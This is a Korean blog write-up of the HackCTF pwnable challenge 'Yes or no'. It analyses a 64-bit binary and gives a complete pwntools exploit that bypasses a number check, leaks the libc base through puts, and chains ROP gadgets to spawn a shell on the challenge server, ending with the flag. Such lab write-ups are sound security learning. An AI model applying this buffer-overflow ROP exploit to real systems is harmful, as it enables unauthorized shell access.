오늘은 Yes or no 문제를 풀어보겠습니다 ~
일단 .zip파일을 풀어보면 libc 파일과 64bit Elf File을 줍니다
우선 Mitigation부터 체크해주도록 하겠습니다.
NX Bit만 Enabled 되어있고 Partial Relro로 설정이 되어있습니다 🧐!
Partial Relro로 설정이 되어있으니 Got Overwrite가 가능해보입니다
물론 Got Overwrite로만으로 풀릴지는 모르겠지만
한번 IDA로 까봅시다 ~
우선 Show me your number이라는 문장과 함께
s라는 변수에 입력을 받습니다
main코드를 보니 특정 조건을 만족시켜 s에 gets로 입력받게
하는것이 이 문제를 풀 수 있는 실마리가 될 거 같습니다!
그럼 GDB를 이용해서 v10의 값을 알아봅시다 🙌
gets@plt를 call 해주는 명령어 위를 보면
cmp 명령어가 있습니다
아마 저 부분이 v10과 다른 변수들을 비교하는 부분일겁니다.
그럼 main + 237에 breakpoint를 걸고
디버깅을 진행해볼까요
breakpoint를 걸어둔 뒤 int형 dummy값을 넣어줍니다
rbp - 0x8 과 eax값을 비교해줘서 eax값을 입력해준다면
조건문이 통과될거 같습니다.
그렇다면 레지스터중 RAX인 0x960000 = 9830400를 입력한다면
gets 함수를 통해 exploit 할 수 있을거 같습니다.
하지만 libc 파일의 base 주소는 서버를 실행시킬 때마다 항상 변하니
RTL 공격은 힘들거 같고 base 주소를 memory leak을 통해
ROP를 통해서 풀어야 될거 같다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3009)
#p = process("./yes_or_no")
e = ELF("./yes_or_no")
libc = ELF("./libc-2.27.so")
pop_rdi = 0x0000000000400883
ret = 0x000000000040056e
p.recvline()
payload = ""
payload += "9830400"
p.sendline(payload)
p.recvline()
payload = ""
payload += "A" * (0x12 + 0x8)
payload += p64(pop_rdi)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(e.symbols['main'])
p.sendline(payload)
PutsAddr = u64(p.recv(6) + '\x00\x00')
LibcAddr = PutsAddr - libc.symbols['puts']
SystemAddr = LibcAddr + libc.symbols['system']
BinShAddr = LibcAddr + libc.search('/bin/sh').next()
p.recvuntil("Show me your number~!")
p.sendline("9830400")
p.recvuntil("That's cool. Follow me")
payload = ""
payload += "A" * (0x12 + 0x8)
payload += p64(pop_rdi)
payload += p64(BinShAddr)
payload += p64(ret)
payload += p64(SystemAddr)
p.sendline(payload)
p.interactive()
코드 설명을 하도록 하겠습니다.
pop_rdi = 0x0000000000400883
ret = 0x000000000040056e
puts addr를 통하여 memory leak을 하면 편리하게 leak을 할 수 있다.
puts로 leak을 하면 인자가 하나만 들어가면 되니 pop_rdi의 주소를 구했고
system 함수를 실행하기 위해 ret의 주소를 구했다.
[ * Gadget들은 RopGadget을 통해 구하면 편하다 ]
payload = ""
payload += "9830400"
p.sendline(payload)
p.recvline()
payload = ""
payload += "A" * (0x12 + 0x8)
payload += p64(pop_rdi)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(e.symbols['main'])
memory leak을 하는 코드이다
PutsAddr = u64(p.recv(6) + '\x00\x00')
LibcAddr = PutsAddr - libc.symbols['puts']
SystemAddr = LibcAddr + libc.symbols['system']
BinShAddr = LibcAddr + libc.search('/bin/sh').next()
memory leak 된 주소가 6byte만 나왔기 떄문에 '\x00\x00'을 붙여주었다
leak주소에서 puts의 offset을 뺴준다면 LibcBase Addr을 구할 수 있다
그 후 LibcBase Addr에 libc 파일에서 system함수의 offset을 더해서 system addr를 구하고
LibcBase Addr에 '/bin/sh'문자열을 찾아서 주소를 더해준다면 'bin/sh/' 주소도 구할 수 있다.
p.recvuntil("Show me your number~!")
p.sendline("9830400")
p.recvuntil("That's cool. Follow me")
payload = ""
payload += "A" * (0x12 + 0x8)
payload += p64(pop_rdi)
payload += p64(BinShAddr)
payload += p64(ret)
payload += p64(SystemAddr)
p.sendline(payload)
main으로 다시 돌아와
gadget을 활용하여 쉘을 따주면 된다 🙏!
FLAG : HackCTF{4nd_4_P4ssing_necklace_in_h1s_h4nd}
이 문제를 풀면서 느꼈던 점은 기본기가 정말 탄탄해야 된다 생각했다
x64의 Calling Convention 뿐만 아니라 gadget의 사용법 역시도
심도있게 이해가 필요하다 생각했다.
난이도가 심각하게 높은 문제는 아니였지만 삽질을 많이 했던 문제였다
앞으로는 더 꼼꼼하고 열심히 공부해야겠다
글 읽어주셔서 감사하고 모르는 점이나
오류가 있는 부분은 언제든지 댓글로 자유롭게 남겨주세요 ! 🙇♀️
'Wargame > HackCTF' 카테고리의 다른 글
[Pwnable] RTL_World (0) | 2021.02.01 |
---|---|
[Misc] Baseball Price & BF (0) | 2020.11.22 |
[Crypto] Smooth CipherText (0) | 2020.11.15 |
[Crypto] Great Binary (0) | 2020.11.15 |
[Pwnable] BOF_PIE (0) | 2020.11.14 |